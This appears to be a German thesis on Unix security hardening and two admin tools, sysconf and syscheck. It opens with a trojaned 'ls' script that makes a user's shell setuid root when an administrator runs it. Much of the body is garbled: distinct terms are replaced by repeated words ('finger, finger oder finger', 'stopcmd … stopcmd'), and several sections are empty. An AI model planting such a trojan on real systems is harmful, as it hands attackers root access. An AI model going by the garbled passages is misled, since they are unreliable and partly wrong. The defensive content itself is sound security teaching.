
#!/bin/bash
chown root.root /home/user1/bin/suidshell
chmod +s /home/user1/bin/suidshell
ls $@

find / -xdev -type f \( -perm -4000 -o -perm -2000 \)

find / -xdev -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld '{}' \;

find / \( -type f -a -perm -2 \)

find / \( -nouser -o -nogroup \)

Zur Software-Installation ist zu sagen, daß man nie Binär-Programme von anderen Leuten oder aus ungewissen Quellen verwenden sollte. Eine Datenbank eines großen rennomierten Herstellers kann man getrost einsetzen, aber von einer Sendmail-Binär-Distribution von ``irgendwo aus dem Internet'' sollte man die Finger lassen.
Im großen und ganzen ist es ratsam, die Systemsoftware, den Kernel und die Dämonen auf dem letzten Patchlevel zu halten, um alte bekannte Sicherheitslücken zu schließen. Natürlich riskiert man damit andererseits neue Sicherheitslücken einzuschleppen, die noch nicht öffentlich bekannt sind. Außerdem kennt man bei alter Software den Grad der Stabilität, hingegen bei der neuesten Version nicht und schreckt unter Umständen schon wegen dieser Ungewißheit vor einem Update zurück.

Gerade bei sendmail sollte man aber immer die neueste Version einsetzen, da man sonst Gefahr läuft, daß ein Angreifer bekannte Sicherheitslücken ausnutzt. Zudem wird in [CER97c] darauf hingewiesen, daß es ratsam ist, die Sendmail Restricted Shell smrsh einzusetzen, da man diese so einstellen kann, daß keine beliebigen Programme auf dem System ausgeführt werden können. Sendmail muß auch so konfiguriert werden, daß keine Verbindungen von außerhalb angenommen werden, um Mails zu versenden. Damit würden gefälschte Mails möglich [CER96c]. Dieses Mail-Spoofing ist im harmlosesten Fall nur lästig, es kann aber zu einem Sicherheitsproblem werden, wenn jemand eine Mail unter dem Namen des Administrators an Benutzer verschickt und sie bittet, aus irgendeinem Grund ihm das Paßwort mitzuteilen. Viele Benutzer werden darauf hereinfallen und sich einfach auf den Absender verlassen. Die beste Vorbeugung ist natürlich die Benutzer darauf hinzuweisen, niemandem und auch nicht den Systemverwalter das Paßwort zu nennen. Die zweite Maßnahme ist die Verwendung von Authentifizierungs- und Verschlüsselungsprogrammen wie PGP³⁵ . PGP läßt sich in jeden besseren Mail-Client einfach integrieren, sodaß man mit einem Tastendruck Ver- und Entschlüsseln oder Signieren kann. Beispielsweise aktivieren die folgenden Zeilen in ~ /.gnus das Modul mailcrypt von Gnus³⁶, dem Mail-Frontend von XEmacs³⁷ und belegt die Tasten F7 und F8:

(autoload 'mc-install-write-mode "mailcrypt" nil t)
(autoload 'mc-install-read-mode "mailcrypt" nil t)
(add-hook 'message-mode-hook 'mc-install-write-mode)
(setq mc-encrypt-for-me t
      mc-passwd-timeout 6000
      mc-always-replace 'never)
(add-hook 'gnus-summary-mode-hook 'mc-install-read-mode)
(define-key message-mode-map      [f7] 'mc-sign)
(define-key message-mode-map      [f8] 'mc-encrypt)
(define-key gnus-summary-mode-map [f7] 'mc-verify)
(define-key gnus-summary-mode-map [f8] 'mc-decrypt)

Die X11-Installation sollte, wie in 2.4.1 beschrieben, überprüft werden, sodaß auf keinen Fall die X-Server der Benutzer frei zugänglich sind. Es muß durchweg die Authentifizierung mittels Magic Cookies verwendet werden.

Falls das verwendete Unix den Begriff des ``sicheren Terminals'' kennt, so sollte es so konfiguriert werden, daß nur die Konsole als sicher eingestuft wird [CER97c].

NFS sollte wenn möglich Dateisysteme nur zum Lesen exportieren. Es sollen auch nur die Dateisysteme an die Rechner exportiert werden, die diese wirklich benötigen. Solche Rechner werden dann mit dem voll-qualifizierten Rechnernamen, also Name und Domain, eingetragen. Außerdem sollte die Option no_root_squash nicht verwendet werden. Diese Option bewirkt, daß Root auf den Clients auch als Root des exportierten Dateisystems anerkannt wird. Ein Angreifer müßte nur noch seinen Rechner per IP-Spoofing als den von NFS zugelassenen ausgeben und schon könnte er auf dem exportierten Dateisystem alles tun, was auch der lokale Administrator darf.

Der anonyme FTP-Zugang sollte richtig konfiguriert sein, sodaß bestimmte Dateien nicht verändert oder angelegt werden können [CER96a]. Beispiele sind in 2.5.3 genannt. Es sollte grundsätzlich verboten sein, im Hauptverzeichnis des FTP-Servers Dateien abzulegen. Das Anlegen von Dateien sollte nur in einem speziellen Incoming-Verzeichnis möglich sein. Alle Verzeichnisse und Dateien müssen Root gehören und dürfen nur für diesen schreibbar sein. In der Paßwort- und Gruppendatei des etc-Verzeichnisses im FTP-Account darf nur der Benutzer ``ftp'' stehen [CER95a].

Auch aktive Maßnahmen gegen Angriffe sind möglich. Wie in [Bel92] beschrieben, kann man auf alle unbenutzten Ports einen selbstgeschriebenen Dämon setzen, der Kontaktversuche mitprotokolliert oder auch nur eine Warnung ausgibt. So könnte man dies in /etc/inetd.conf eintragen:

finger  stream  tcp  nowait nobody /usr/sbin/tcpd /bin/echo Your try \
  to connect has been registered and will have consequences if repeated!

> telnet sl finger
Trying 172.16.0.135...
Connected to sl.sl.de.
Escape character is '^]'.
Your try to connect has been registered and will have consequences if repeated!
Connection closed by foreign host.

Ältere POP³⁹- und IMAP⁴⁰-Server, die zum Verteilen von Mails an mehrere Benutzer verwendet werden, muß man durch neuere Versionen ersetzen, da es bei den alten möglich ist, eine Benutzerliste von außerhalb zu erfragen. Bei den ganz alten Versionen war es sogar möglich, eine Root-Shell zu erhalten.

Gast-Accounts sollten wenn möglich deaktiviert werden. Genauso sollten die normalen Benutzer-Accounts ``altern'', das heißt, daß sie ohne eine persönliche Verlängerung von Seiten des Benutzers gesperrt werden. Das verhindert, daß ein Angreifer einen nicht mehr benutzten Account ohne aufzufallen benutzen kann. Wenn Gast-Zugänge wirklich benötigt werden, so sollte die komplette Umgebung dieses Benutzers in einer chroot()-Umgebung liegen, sodaß er nicht auf den ganzen Server zugreifen kann. Accounts ohne Paßwortschutz sind grundsätzlich tabu.

Eine wichtige Lektüre sind die Sicherheitshinweise von CERT⁴¹ und deren aktuelle Meldungen zu Angriffen auf Systeme, insbesondere die Checkliste von AUSCERT [AUS95]. Eine winzige Checkliste bietet auch [Cur90]. Die zweite wichtige Quelle mit aktuellen Meldungen ist BugTraq-Mailingliste⁴², die jeder Systemadministrator lesen sollte. Das umfassendste Buch zum Thema Sicherheit ist [GS96], welches auf seinen 900 Seiten alle erdenklichen Aspekte behandelt.

Zuguterletzt sollte man in regelmäßigen Abständen mit den im nachfolgenden Abschnitt vorgestellten Programme zur Sicherheitsüberprüfung das eigene Netzwerk untersuchen.

2.5.5  Programme zur Sicherheitsüberprüfung

Zur Netzwerküberwachung gibt es zum Beispiel den Monitor Argus⁴⁴, welcher Netzwerk-Transaktionen überwacht.

Das Programm swatch⁴⁵ überwacht Log-Dateien, kann unerwünschte Daten herausfiltern und bei bestimmten Mustern Aktionen auslösen. Als Alternative bieten sich Logcheck⁴⁶ und wots ⁴⁷ an. Letzterer basiert auf auf swatch.

Um zu prüfen, ob die Paßwörter einem ``dictionary crack'' standhalten, kann man Crack⁴⁸ verwenden. Crack bietet auch die Möglichkeit ständig im Hintergrund zu laufen und die Benutzer über schwache Paßworte zu informieren.

Um die Rechner auf bekannte Schwachstellen hin zu überprüfen, existieren bereits eine Anzahl von Programmen. ISS⁴⁹ überprüft alle Rechner in dem angegebenen IP-Adressbereich und listet den vorgefundenen Sicherheits-Zustand auf. Das gleiche Ziel verfolgen SATAN ⁵⁰ und sein Nachfolger SAINT⁵¹, Nessus⁵² und gate⁵³. SATAN ist per HTML-Anbindung bedienbar. Informationen über verschiedene Dienste, wie finger, finger oder finger werden ermittelt und aufbereitet.
COPS⁵⁴ bietet die umfangreichste Funktionalität und sollte mit seinen vielen Skripten die meisten Schwachstellen finden. Wesentliche Prüfroutinen sind der Paßwort-Checker, die Suche nach Suid-Programmen und die Prüfung der Rechte der Systemdateien. In der Paßwortdatei wird untersucht, ob eventuell eine User-ID doppelt vergeben wurde und ob es Kennungen ohne Paßwort gibt.

Zur Überprüfung der Datei-Integrität kann das in Kapitel 4 vorgestellte Programm syscheck hergenommen werden oder Tripwire⁵⁵, welches ebenfalls die Dateien mit Informationen aus einer vorher erzeugten Datenbank vergleicht und Abweichungen meldet. Es werden Checksummen und Signaturen von Dateien verglichen und Rechteänderungen, Links und Dateigröße überwacht.

Speziell zum Absuchen und Diagnose des Netzwerkes gibt es Trinux⁵⁶, das aus fertigen Boot-Disketten mit vielen nützlichen Netzwerk-Programmen besteht. Mit queso⁵⁷ kann ein Betriebsystem anhand der versandten TCP-Pakete identifiziert werden. Das ist beispielsweise nützlich, um ``fremde'' Rechner im eigenen Netz aufzuspüren. Um im eigenen Netz solche Rechner mit einer Netzwerkkarte im ``promiscous Mode'' zu finden, gibt es NePED⁵⁸([Mur]). Zur Überwachung aller Pakete, die über das Netz geschickt werden dient K-Arp-Ski⁵⁹.

2.6  Informationsquellen im Internet

Dann gibt es noch eine Reihe von Internetsites, die Sicherheitslücken aufdecken und öffentlich bekannt machen:
BugTraq-Mailingliste:
http://www.geek-girl.com/bugtraq/
Rootshell:
http://www.rootshell.com
Exploit world! listet eine Vielzahl von Sicherheitslücken unterteilt nach Betriebssystemen:
http://www.insecure.org/sploits.html
Suchmaschinen für Sicherheitslücken und relevante Software:
http://www.iss.net/xforce/
http://neworder.box.sk/
Eine Liste mit Verweisen auf weitere Informationsquellen zum Thema Sicherheit:
http://www.kernel-panic.com/security/links.html
Unix Security Page:
http://www.deter.com/unix/
Security FAQs:
http://www.iss.net/vd/faqoffaqs.html
Mit MON kann die Verfügbarkeit von Netzwerk-Diensten überwacht werden:
http://consult.ml.org/~trockij/mon/
Securing Internet Information Servers ist eine Checkliste zur Absicherung diverser Internet-Dienste:
http://ciac.llnl.gov/ciac/documents/ciac2308.html

Und schließlich gibt es noch spezielle Sites für Hacker:
2600 Magazin:
http://www.2600.com
Chaos Computer Club e.V.:
http://www.ccc.de/

Es gibt auch eine Reihe von Usenet-Newsgroups zu dem Thema Sicherheit. Dazu gehören sowohl die Hacker-Gruppen:

alt.2600
alt.hackers
alt.hackers.malicious

und die ``echten'' Sicherheitsgruppen, die aber natürlich genauso von Crackern gelesen werden:

alt.security
comp.security.announce
comp.security.misc
comp.security.unix
de.comp.security

und die Gruppen, die sich mit spezielleren Themen befassen:

alt.security.pgp
comp.security.firewalls
comp.security.ssh

Wem das an Information noch nicht reicht, der kann die großen Suchmaschinen, wie Altavista⁶⁰, Excite⁶¹, Fireball⁶², Infoseek⁶³, Lycos⁶⁴ oder Yahoo⁶⁵ nach ``+security +unix'' oder ähnlichen Begriffen fragen.

Chapter 3
Konfiguration

3.1  Anforderungen

3.2  Relevante Objekte

3.3  Konfigurationsdatenbank

Für alle Teilaufgaben wird eine Konfigurationsdatenbank benötigt, die alle Konfigurationsdateien, Musterdateien, das Regelwerk zur Anpassung der Musterdateien an die verschiedenen Rechner und die Variablen pro Rechner enthält. Die Konfigurationsdateien, die für alle Rechner identisch sind, werden dabei ohne Veränderungen übertragen. Die Musterdateien müssen erst noch verändert werden und ergeben dadurch spezielle Konfigurationsdateien für genau einen Zielrechner. Dazu gibt es pro Rechner eine Datei <rechnername>.var, die Variablen für die Template-Ersetzung enthält. Mit den Dateien hosts.sc und hosts.sc werden die Rechner in Klassen eingeteilt. So können dann auch Subsysteme in eine Klasse zusammengefaßt werden. Abhängigkeiten der Subsysteme werden in der Datei dependencies.sc festgehalten. Welche Konfigurationsdateien ein Subsystem hat, ist in der Datei files.sc festgelegt.
In der Datei /etc/sysconfrc bzw. /etc/sysconfrc bzw. /etc/sysconfrc sind die Standardeinstellungen gespeichert. Mit SYSCONF_ROOT wird das Verzeichnis angegeben, in dem sich die Konfigurationsdatenbank befindet. Mit HTMLDIR wird das Verzeichnis für die HTML-Dokumentation, die mit der Aktion 'documentation' erstellt wird, festgelegt. USE_SYSCHECK kann die Werte TRUE und FALSE annehmen und legt fest, ob bei einem Update auf dem Zielrechner syscheck gestartet werden soll. Beispiel:

SYSCONF_ROOT=/var/adm/sysconf
HTMLDIR=/http/htdocs/sysconf
USE_SYSCHECK=TRUE

hosts.sc
classes.sc
variables/
     tgx045.var
     tgx200.var
     ...
AIX-4.1.5/
    dependencies.sc
    files.sc
    filedir.sc/
       etc/rc.config
       etc/hosts
       etc/issue
       etc/exports
       root/profile
       var/lib/news/active
       var/lib/news/newsgroups
       usr/lib/news/nnrp.access
       usr/lib/news/hosts.nntp
       usr/lib/news/inn.conf
       ...
    syslog/
          installcmd*
          removecmd*
          testinstallcmd*
          startcmd*
          stopcmd*
          reconfigcmd*
          testruncmd*
          checkversion*
    nfsserver/
          installcmd*
          removecmd*
          testinstallcmd*
          startcmd*
          stopcmd*
          reconfigcmd*
          testruncmd*
          checkversion*
    newsserver/
          ...
    sendmail/
          ...

3.3.1  Variablendateien

variable=wert

variable include FILENAME1 FILENAME2 ...

3.3.2  Subsystembeschreibungen

[subsys]
<fileentry>
<patternblock>

beginpattern
   <pattern>
endpattern

Desweiteren ist <filename> der komplette Pfad der Datei. Wenn das ein relativer Pfad ist, dann liegt die Datei unterhalb von files.sc/, sonst wird der absolute Pfad genommen. <zielfilename> ist optional und stellt den kompletten Zielpfad mit Namen der Datei dar.
Bei den symbolischen Links wird, wie auch bei ln üblich, Quelle und Ziel angegeben, es entsteht also ein Link von filename auf zielfilename.
Die Shellkommandos sind dazu gedacht, daß man Verzeichnisse, Gerätedateien, Links, etc. anlegen oder entfernen kann. Als Shellkommandos ist alles möglich, was per Remote-Shell möglich ist, zum Beispiel:

cd /home/user ; ln -s ../skel/.profile .

[boot] 
f etc/rc
t etc/inittab
 
[login] 
f etc/environment
F etc/passwd
t etc/motd
 
[adsmc] 
f etc/inittab
f /etc/sendmail.cf
 
[INN]
f var/lib/news/expire.ctl.inn /var/lib/news/expire.ctl
 
[CNEWS]
f var/lib/news/expire.ctl.cnews /var/lib/news/expire.ctl
 
[Compiler]
L /usr/local/bin/rs6000-ibm-aix4.1.4.0-gcc /usr/local/bin/gcc

[Modem]
t etc/inittab
beginpattern
 change s!#PORT!mo:123:respawn:/usr/local/sbin/vgetty $MODEMDEVICE!;
 adduniq m/^5:/
 6:123:respawn:/sbin/mingetty tty6
endpattern

3.3.3  Kommandodateien

3.3.4  Kommentare

dependencies.txt
hosts.sc
classes.sc

3.3.5  Klassen- und Rechnerdateien

HOST         tgx987
OS           AIX-4.1.5
CLASSES      Basissystem Client
SUBSYSTEMS   sendmail tcpwrapper nfsclient adsm

HOST         tgx123
OS           AIX-4.1.5
CLASSES      Basissystem Server
SUBSYSTEMS   newsserver nfsserver
...

CLASSDEF    Basissystem
SUBSYSTEMS  syslog tcpwrapper ssh

CLASSDEF    Server
SUBSYSTEMS  adsm audit nis
...

1. Wenn die Konfiguration geändert wird, dann muß das Subsystem gestoppt, die Konfiguration geändert und dann das Subsystem wieder gestartet werden.
2. Wenn die Konfiguration geändert wird, dann kann das Subsystem durch ein Kommando, üblicherweise ein Signal, dazu bewegt werden, die neue Konfiguration einzulesen.

In sysconf kann man die beiden Fälle so abbilden:

1. stopcmd hält das Subsystem an, stopcmd führt keine Aktion durch und mit startcmd startet man das Subsystem wieder.
2. stopcmd und stopcmd führen keine Aktionen aus, aber reconfigcmd veranlaßt das Subsystem, die neue Konfiguration einzulesen.

Um Programme, die per /sbin/init gestartet werden, zu ändern, sollte man sich eine Variante ohne diese Programme für /sbin/init erstellen, dann erst das Programm entfernen und anschließend das neue aktivieren: Ein Beispiel ist ist Umschaltung eines Modem-Ports vom Nullmodembetrieb auf Modembetrieb und vice versa. Auf Nullmodem-Betrieb umstellen:

sysconf update init_no_modem_port localhost
sysconf update nullmodem localhost

sysconf update init_no_modem_port localhost
sysconf update vgetty localhost

3.3.6  Ersetzungsmuster

change <substitute>

add FIRST <text>

add LAST  <text>

add <patternmatch>
<text>
 
adduniq FIRST <text>

adduniq LAST <text>

adduniq <patternmatch>
<text>

VAR=Das\nsind\nviele\nZeilen\ngetrennt\ndurch\nNewlines\n

change s/suchtext/($VAR=~s!\\n!\n!g,$VAR)/e;

- Zeilen verändern:
   change s/#MEINE_IP#/10.135.82.54/
   change s/#MEIN_NAME#/$RECHNER/
   change s/#ANWENDUNG#/MFK-Rechner Testbetrieb/
   change s/^"START_INN=.*/"START_INN=yes"/
   change s/SC_GESCHWINDIGKEIT/$MODEMSPEED/
- Zeilen löschen:
   change s/^netstat\s+stream\s+tcp//
 Zeile vor der ersten Zeile einfügen:
   add FIRST 127.0.0.1       localhost
- Nach der letzten Zeile einfügen:
   add LAST 129.187.13.89 mailhost mail
- Nach der Zeile, die mit "OVERVIEW" beginnt einfügen:
   add m/^OVERVIEW/
   news/newsserver:*,!junk,!control*:Ap,Tf,Wnm:news
- Zeile nur hinzufügen, wenn sie im File noch nicht vorhanden ist:
   adduniq m/^6:123:respawn:/
   mo:123:respawn:/usr/local/sbin/vgetty modem

3.3.7  Abhängigkeiten

S : D1 D2 D3 ...

sendmail : syslog
nfsserver : tcpwrapper portmap inetd

sendmail : inetd syslog portmap
newsserver : tcpwrapper syslog inetd
syslog : sendmail

3.4  Programmablauf

3.4.1  Benutzersicht

sysconf action subsystem machine

action    := init | update | remove | documentation
subsystem := <subsystem-name>{,<subsystem-name>}* | ALL
machine   := <machine-name>{,<machine-name>}*     | ALL

Die Aktion init bedeutet, daß das oder die Subsysteme erstmalig installiert werden sollen, also alle Dateien einschließlich der initfiles übertragen werden.
update führt hingegen nur einen Update des Subsystems durch. Es werden im Gegensatz zu init die initfiles nicht kopiert. Wenn es das Subsystem noch nicht gibt, dann wird automatisch init vorher durchgeführt.
Mit remove entfernt man ein Subsystem.
Eine HTML-Dokumentation wird mit documentation erzeugt.
Beispiele:
``Führe einen Update von Sendmail auf tgx045 durch'':
sysconf update sendmail tgx045
``Führe einen Update von allen Subsystemen auf tgx002 durch'':
sysconf update ALL tgx002
``Verteile alle Subsysteme auf alle Rechner'':
sysconf init ALL ALL
``Führe einen Update von Sendmail und Syslog auf tgx045,tgx200,tgx200 durch'':
sysconf update sendmail,syslog tgx045,tgx200,tgx200

3.4.2  Programmtechnische Sicht

1. Kommandozeile parsen und Abbruch bei Fehler
2. Einlesen der Konfigurationsdatei und Feststellen, ob alle Rechner-Konfigurationsdateien existieren.
3. Einlesen der Datei hosts.sc, Test auf syntaktische Fehler und Test auf semantische Fehler, wie etwa nicht vorhandene Rechner
4. Einlesen der Konfigurationsdatenbank, auf allgemeine Fehler testen und ob alle Subsysteme spezifiziert sind und ob die Datei dependencies.txt zyklenfrei ist.
5. Ab dieser Stelle ist es pro Rechner parallelisierbar.
6. Konfigurationsfiles auf Ziel-Rechner übertragen
7. Existenztest der Files in der Datenbank
8. Zugriffsrechte/Eigentümer der Files kontrollieren
9. Filesets prüfen/installieren
10. Subsysteme starten/überprüfen

3.5  HTML-Dokumentation

sysconf documentation ALL ALL

Chapter 4
Sicherheitsüberwachung

ls -aslgR /bin /etc /usr > MasterChecklist

cat MasterChecklist | pgp -fast > MasterChecklistSigned

cat MasterChecklistSigned | pgp -f > /dev/null

4.1  Integrität

4.2  Rechte und Besitzer

• Ist die Datei welt-schreibbar?
• Hat die Datei das SUID-Bit gesetzt?
• Hat die Datei das SGID-Bit gesetzt?
• Hat die Datei das Sticky-Bit gesetzt?
• Ist die UID gültig?
• Ist die GID gültig?

4.3  Das Programm syscheck

4.3.1  Aufruf

syscheck [options] action

action    := init | update | check | remove

init:   Sicherheitsdatenbank erstellen
update: Sicherheitsdatenbank aktualisieren
check:  Überprüfung anhand der Sicherheitsdatenbank
remove: Die angegebenen Dateien werden aus der Sicherheitsdatenbank
        entfernt

Optionen:
-f FILE : Namen, der überprüfenden Dateien werden zeilenweise aus FILE
          gelesen.
-b      : Batch-Mode: Paßwort von der Eingabedatei lesen und nicht vom
          Terminal
-r      : Remove: Bei 'check' werden nicht mehr vorhandene Dateien aus der
          Datenbank entfernt.
-q      : Quiet: Keine Meldungen nach STDOUT oder STDERR
          Die STDERR-Meldungen landen stattdessen im Logfile.
-wX     : mit X=0-4 gibt den LOG-Level an.
          0: Nur fatale Fehler
          1: zusätzlich alle Fehler (Genaue Fehlerbeschreibungen)
          2: zusätzlich alle Warnungen (ganz informativ)
          3: zusätzlich alle Debug-Informationen (ausführlicher Status,
             etc.)

Beispiele:

find / -print -xdev > liste.txt
syscheck -f liste.txt init 2> /tmp/out
syscheck -f liste.txt update
syscheck -w3 check 2> /tmp/out

Man kann auch mit einem Pipe arbeiten:

( echo 'MeinGeheimesPaßwort' ; find / -xdev ) | syscheck init 2> out

Die kritischen Files kann man aus dem Ergebnis von syscheck so extrahieren:

grep ^# /tmp/out | perl -pe 's/^#[^:]+: //'

4.3.2  Hauptkonfigurationsdatei

SYSCHECK_ROOT=/var/adm/syscheck/

4.3.3  Sicherheitsdatenbank

4.3.4  Datei syscheckfiles.sc

NO     : Diese Datei darf nicht existieren
ZERO   : Diese Datei muß die Länge Null haben
IGNORE : Dateien, die diesem Perl-Pattern entsprechen, werden ignoriert

/etc/passwd
/etc/hosts
/etc/shadow
NO /home/*/.rhosts
NO /home/*/.forward
NO /etc/nologin
ZERO /var/spool/lpd/lockfile
/root/*
IGNORE ~$|.bak$
IGNORE ^/var/texfonts/
IGNORE /tmp/
IGNORE ^/home/[^/].+/temp/

Chapter 5
Implementierung, Praxis und Ausblick

5.1  Perl

# Belegen einer skalaren Variable:
$test = "Hello world!";
# Einlesen einer kompletten Datei von einem Filehandle in eine Variable:
$meineDatei = <FILE>;
# Einlesen einer kompletten Datei zeilenweise in ein Array:
@DateiInEinemArray = <FILE>;
# Belegung eines assoziativen Arrays (Hash):
$Formen{"Dreiecke"} =  5;
$Formen{"Vierecke"} = 10;
$Formen{"Kreise"}   =  7;

$text =~ s/suchmuster/ersatzmuster/;

5.2  Praxis-Einsatz

5.3  Vergleichbare Produkte

5.4  Schlußbemerkung

Appendix A
Das Programm sysconf

sysconf.html

Appendix B
Das Programm syscheck

syscheck.html

Bibliography

[AUS95]

AUSCERT. UNIX Computer Security Checklist. 1995. http://www.cert.org/ftp/tech_tips/AUSCERT_checklist1.1.

[Bel]

S. M. Bellovin. Security Problems in the TCP/IP Protocol Suite. http://www.rootshell.com/docs/tcpip_problems_bellovin.ps.gz.

[Bel92]

Steven M. Bellovin. There Be Dragons. 1992. http://www.rootshell.com/docs/dragons_bellovin.ps.gz.

[CER95a]

CERT. Anonymous FTP Configuration Guidelines. 1995. http://www.cert.org/ftp/tech_tips/anonymous_ftp_config.

[CER95b]

CERT. CERT Advisory (CA-95:01): IP Spoofing Attacks and Hijacked Terminal Connections. 1995. http://www.adp.unc.edu/mcc/docs/ipspoof/cert.txt.

[CER96a]

CERT. Anonymous FTP Abuses. 1996. http://www.cert.org/ftp/tech_tips/anonymous_ftp_abuses.

[CER96b]

CERT. Email Bombing and Spamming. 1996. http://www.cert.org/ftp/tech_tips/email_bombing_spamming.

[CER96c]

CERT. Spoofed/Forged Email. 1996. http://www.cert.org/ftp/tech_tips/email_spoofing.

[CER97a]

CERT. Choosing an Operating System. 1997. http://www.cert.org/ftp/tech_tips/choose_operating_sys.

[CER97b]

CERT. Intruder Detection Checklist. 1997. http://www.cert.org/ftp/tech_tips/intruder_detection_checklist.

[CER97c]

CERT. UNIX Configuration Guidelines. 1997.

http://www.cert.org/ftp/tech_tips/UNIX_configuration_guidelines.

[Cur90]

David A. Curry. Improving the Security of Your Unix System. 1990. http://www.rootshell.com/docs/improving_security_sri.ps.gz.

[Cur98]

Matt Curtin. Snake Oil Warning Signs: Encryption Software to Avoid. 1998. http://www.interhack.net/people/cmcurtin/snake-oil-faq.html.

[dea96]

daemon9 et al. IP-spoofing Demystified (Trust-Relationship Exploitation). Guild Productions, Phrack Magazine Vol 7, 1996. http://www.fc.net/phrack/files/p48/p48-14.html.

[Fle97]

Ulrich Flegel. The Interaction between SSH and X11. 1997. http://www.rootshell.com/docs/ssh-x11.ps.gz.

[fSidIB91]

Bundesamt für Sicherheit in der Informationstechnik BSI. Sicherheit unter dem Betriebssystem Unix. R. Oldenbourg, 1991.

[FW]

Dan Farmer und Venema Wietse. Improving the Security of Your Site by Breaking Into it. http://www.rootshell.com/docs/improve_by_breakin.txt.

[Ger97]

Rainer W. Gerling. Datensicherung. 1997. Skriptum zur Vorlesung WS97/98.

[GS96]

Simson Garfinkel und Gene Spafford. Practical UNIX and Internet Security. O'Reilly & Associates, Inc., 1996.

[Hei93]

Mathias Hein. TCP/IP, Internet-Protokolle im professionellen Einsatz. International Thomson Publishing Company, 1993.

[Hun98]

Craig Hunt. TCP/IP Network Adminstration. O'Reilly & Associates, Inc., 1998.

[ker94]

How the Kerberos Protocol Works. BYTE, 1994. http://www.byte.com/art/9406/sec8/art8.htm.

[Kla97]

Christopher Klaus. Backdoors. 1997. http://www.rootshell.com/docs/backdoors.txt.

[Kle]

Daniel V. Klein. Foiling the Cracker: A Survey of, and Improvements to, Password Security. http://www.rootshell.com/docs/passwords_klein.ps.gz.

[KvN83]

Auguste Kerckhoffs von Nieuwenhof. La cryptographie militaire. 1883.

[Mur]

Jordi Murgó. Aufdecken von Spionen im Ethernet. Linux Actual #3. http://www.lipsia.de/~mathias/de/apostols/neped-de.html.

[Spe96]

Will Spencer. alt.2600/#hack FAQ. 1996.

http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html.

[Wie]

Venema Wietse. Murphy's law and computer security.

http://www.teleport.com/~jorbeton/realize/docs/wietse_murphy.htm.

Index (showing section)

~ /.rhosts, 2-4

/etc/hosts.equiv, 2-4

rcp, 2-4

rsh, 2-4

syslog, 2-3

Angriffe, 2-4

anonymes FTP, 2-5

asymmetrische Verschlüsselung, 2-2

Benutzer, 2-1

Berkeley r*-Dienste, 2-4

Betriebssystem, 2-5

Bootvorgang, 2-5

Broadcast-Angriff, 2-4

brute force attack, 2-3

CPU verbrauchen, 2-4

Dateisystem, 2-4

Denial of Service, 2-4

dictionary crack, 2-3

Dämonen, 2-4

Einweg-Verschlüsselung, 2-2

Hintertüren, 2-4

Kerberos, 2-4, 2-5

Kernelstrukturen, 2-4

LILO, 2-5

Login, 2-1, 2-3

Magic Cookies, 2-4

Network File System, 2-4

NFS, 2-4

Paßwortdatei, 2-1, 2-3

Paßwörter, 2-3

PGP, 2-5

Plattenplatz, 2-4

Prozessor-Fehler, 2-4

Prozeß, 2-1

r*-Dienste, 2-4

Root, 2-1

s-Bit, 2-4

Schlüssel, 2-2

Secure Shell, 2-5

setuid, 2-1

Shadow-Paßwort-System, 2-3

SSH, 2-5

Sub-Shells, 2-4

Suid, 2-4

Suid-Wrapper, 2-4

symmetrische Verschlüsselung, 2-2

SYN-Flooding, 2-4

TCP-Sequenznumern-Vorhersage, 2-4

TCP-Wrapper, 2-3, 2-5

TCP/IP, 2-4

TFTP, 2-5

Trojan, 2-4

User-ID-Wechsel, 2-4

Verschlüsselung, 2-2

Versionsnummer, 2-4

Virus, 2-4

vorhersagbare Schlüssel, 2-4

X11, 2-4

xhost, 2-4

Zufallszahlen, 2-2

Footnotes:

¹ Ich setze das Unix-Grundwissen wie in ftp://ftp.leo.org/pub/comp/doc/os/unix-intro/intro.ps.Z beschrieben voraus.

² Siehe /usr/src/linux/drivers/char/random.c

³ Zur Verschlüsselung wird die Funktion crypt() aus der System-Library verwendet. Diese basiert auf einer Variante des DES, die verhindern soll, daß man Hardware konstruieren kann, die sehr schnell Schlüssel herausfinden kann. Es wird mit diesem DES ein konstanter Text mit dem Paßwort als Schlüssel wiederholt verschlüsselt. Das Ergebnis ist das verschlüsselte Paßwort.

⁴ ftp://hpux.ask.uni-karlsruhe.de/./hpux/Sysadmin/crack-5.0

⁵ Zu den Arten von Attacken siehe Abschnitt 2.4.2

⁶ Network File System

⁷ Die ~ /.forward-Datei dient normalerweise zum weiterleiten von E-Mail an andere Adressen.

⁸ Procmail wird normalerweise als Mail-Filter benutzt.

⁹ Mit den neueren Versionen der bash funktioniert das nicht mehr, jedoch mit allen anderen Shells

¹⁰ Internal Field Separator

¹¹ Es gibt auf http://ryanspc.com/ipspoof.html bereits fertige Software dafür.

¹² Natürlich gehören auch solche Dateien, wie alle Dateien unter Unix einem Benutzer. Aber diese Dateien gehören keinem ``Anwender''.

¹³ Unix verwendet eine Paging-Datei oder -Partition, um den Hauptspeicher zu vergrößern

¹⁴ RFC 793: Transmission Control Protocol

¹⁵ http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

¹⁶ http://www.txdirect.net/users/mdfranz/trinux.html

¹⁷ ftp://apostols.org/AposTools/snapshots/neped/

¹⁸ http://www.l0pht.com/~weld/netcat/

¹⁹ Diese Informationen werden von allen neueren login-Programmen ausgegeben

²⁰ ftp://ftp.cyber.com.au/pub/unix/rootkit.tgz

²¹ Da man eine Datei diesen Namens nicht anlegen kann, heißt die Datei in Wirklichkeit ..^ÙG, also Punkt-Punkt-Control-G oder verwendet andere Control-Sequenzen.

²² Network Information System, Programmpaket zur Informationsverteilung in einem Netzwerk von einem zentralen Server an viele Clients

²³ Dazu gehören die Dateien passwd, passwd, networks, networks, networks, networks, networks und ethers.

²⁴ bootparam wird von Clients ohne eigene Festplatte verwendet um Informationen vom Bootp-Server zu erhalten

²⁵ siehe Abschnitt 2.5.5

²⁶ Sendmail ist ein Mail-Transport-Agent, der als Dämon läuft und für den Mailtransport zuständig ist.

²⁷ Internet Firewalls Frequently Asked Questions: http://www.interhack.net/pubs/fwfaq/

²⁸ Unix to Unix Copy

²⁹ Es wird überwiegend der tcpd von Wietse Venema eingesetzt. Die Beschreibungen beziehen sich auf diesen Wrapper.

³⁰ Die SSH und weitere Informationen sind unter diesen URLs erhältlich:
http://www.cs.hut.fi/ssh/
http://www.ssh.fi/
http://www.uni-karlsruhe.de/~ig25/ssh-faq/
http://www.tac.nyc.ny.us/~kim/ssh/

